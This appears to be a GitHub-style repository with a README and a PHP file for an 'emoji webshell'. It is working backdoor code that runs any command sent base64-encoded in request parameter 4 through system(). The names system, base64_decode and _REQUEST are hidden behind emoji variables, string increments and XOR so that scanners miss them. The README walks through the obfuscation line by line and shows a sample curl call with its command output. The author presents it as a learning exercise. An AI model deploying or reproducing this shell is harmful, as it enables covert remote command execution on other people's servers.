├── README.md
└── webshell.php


/README.md:
--------------------------------------------------------------------------------
 1 | # php-emoji-webshell
 2 | 
 3 | 🥸 Nothing new about this webshell, just use same techniques like XOR and self increment operations.
 4 | 
 5 | Basically this code
 6 | ```php
 7 | <?php
 8 | 
 9 | $a = $_REQUEST[4] ? base64_decode($_REQUEST[4]) : 'whoami';
10 | @system($a);
11 | 
12 | ```
13 | Turn into emoji, self increment and XOR operations.
14 | 
15 | ```php
16 | <?php
17 | 
18 | $_=[];                      // $_ = [];
19 | $_=@"$_";                   // $_ = "Array";
20 | $__=("_"=="_")+("_"=="_");  // $__ = 1 + 1;
21 | $_=@$_[++$__];              // $_ = $_[3] // "Array"[3]
22 | 
23 | $🌏=$_++; // a
24 | $🤮=$_++; // b
25 | $🍪=$_++; // c
26 | $🫣=$_++; // d
27 | $🧁=$_++; // e
28 | $🎂=$_++; // f
29 | $🥃=$_++; // g
30 | $🍔=$_++; // h
31 | $🌘=$_++; // i
32 | $🌗=$_++; // j
33 | $🌖=$_++; // k
34 | $🌕=$_++; // l
35 | $🌒=$_++; // m
36 | $🌓=$_++; // n
37 | $🌔=$_++; // o
38 | $🌰=$_++; // p
39 | $🍘=$_++; // q
40 | $🥗=$_++; // r
41 | $🥥=$_++; // s
42 | $🍑=$_++; // t
43 | $🍋=$_++; // u
44 | $🧇=$_++; // v
45 | $🌮=$_++; // w
46 | $🍕=$_++; // x
47 | $🥯=$_++; // y
48 | $🍣=$_;   // z
49 | 
50 | $__++; // 4
51 | $__++; // 5
52 | $__++; // 6
53 | $👿=$🤮.$🌏.$🥥.$🧁.$__; // base6
54 | $__--; // 5
55 | $__--; // 4
56 | $👿.=$__.("#"^"|").$🫣.$🧁.$🍪.$🌔.$🫣.$🧁; // base64_decode
57 | 
58 | $💀=$🥥.$🥯.$🥥.$🍑.$🧁.$🌒; // system
59 | $🥳=("#"^"|").($🍘^"#").($🎂^"#").($🥗^"#").($🧇^"#").($🎂^"#").($🌰^"#").($🌮^"#"); // _REQUEST
60 | $🤯=@${$🥳}[$__] ? $👿(@${$🥳}[$__]) : $🌮.$🍔.$🌔.$🌏.$🌒.$🌘; // $_REQUEST[4] ? base64_decode($_REQUEST[4]) : "whoami"
61 | @$💀($🤯); // @system("command")
62 | 
63 | ```
64 | 
65 | Execute the webshell.
66 | 
67 | ```sh
68 | ❯ curl http://127.0.0.1/emoji.php\?4\=`echo id | base64`
69 | uid=501(someone) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),101(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
70 | ```
71 | 
72 | Im just building this for fun and for the sake of learning new things. ☕️🥯
73 | 


--------------------------------------------------------------------------------
/webshell.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | $_=[];
 4 | $_=@"$_";
 5 | $__=("_"=="_")+("_"=="_");
 6 | $_=@$_[++$__];
 7 | 
 8 | $🌏=$_++;
 9 | $🤮=$_++;
10 | $🍪=$_++;
11 | $🫣=$_++;
12 | $🧁=$_++;
13 | $🎂=$_++;
14 | $🥃=$_++;
15 | $🍔=$_++;
16 | $🌘=$_++;
17 | $🌗=$_++;
18 | $🌖=$_++;
19 | $🌕=$_++;
20 | $🌒=$_++;
21 | $🌓=$_++;
22 | $🌔=$_++;
23 | $🌰=$_++;
24 | $🍘=$_++;
25 | $🥗=$_++;
26 | $🥥=$_++;
27 | $🍑=$_++;
28 | $🍋=$_++;
29 | $🧇=$_++;
30 | $🌮=$_++;
31 | $🍕=$_++;
32 | $🥯=$_++;
33 | $🍣=$_;
34 | 
35 | $__++;
36 | $__++;
37 | $__++;
38 | $👿=$🤮.$🌏.$🥥.$🧁.$__;
39 | $__--;
40 | $__--;
41 | $👿.=$__.("#"^"|").$🫣.$🧁.$🍪.$🌔.$🫣.$🧁;
42 | 
43 | $💀=$🥥.$🥯.$🥥.$🍑.$🧁.$🌒;
44 | $🥳=("#"^"|").($🍘^"#").($🎂^"#").($🥗^"#").($🧇^"#").($🎂^"#").($🌰^"#").($🌮^"#");
45 | $🤯=@${$🥳}[$__] ? $👿(@${$🥳}[$__]) : $🌮.$🍔.$🌔.$🌏.$🌒.$🌘;
46 | @$💀($🤯);
47 | 


--------------------------------------------------------------------------------